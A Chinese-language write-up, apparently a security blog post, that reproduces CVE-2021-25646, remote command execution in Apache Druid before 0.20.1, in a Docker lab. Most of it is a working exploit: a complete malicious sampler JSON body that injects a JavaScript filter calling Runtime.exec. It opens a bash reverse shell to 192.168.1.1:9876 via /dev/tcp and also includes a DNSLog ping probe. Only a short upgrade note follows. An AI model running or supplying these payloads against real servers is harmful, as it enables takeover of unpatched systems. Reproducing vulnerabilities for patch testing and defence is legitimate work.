CVE-2021-25646：Apache Druid远程命令执行漏洞复现

漏洞概述

Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中，用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码，控制服务器。

影响版本

Apache Druid < 0.20.1

环境搭建

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docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

漏洞复现

访问8888端口，进入Apache Druid首页：

点击左上方Load data -> Local disk:

右侧表单填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

接下来一路点击next，直到下一步是Filter时，抓取数据包：

此时替换数据包中POST的data数据，原始数据：

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{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

替换后的数据：

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{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

其中，执行命令的代码为：

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"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"

DNSLog测试

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exec('ping xxx.dnslog.cn -c 1')

反弹shell

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exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')

成功反弹shell。

修复建议

升级到最新版Apache Druid 0.20.1

下载链接：https://druid.apache.org/downloads.html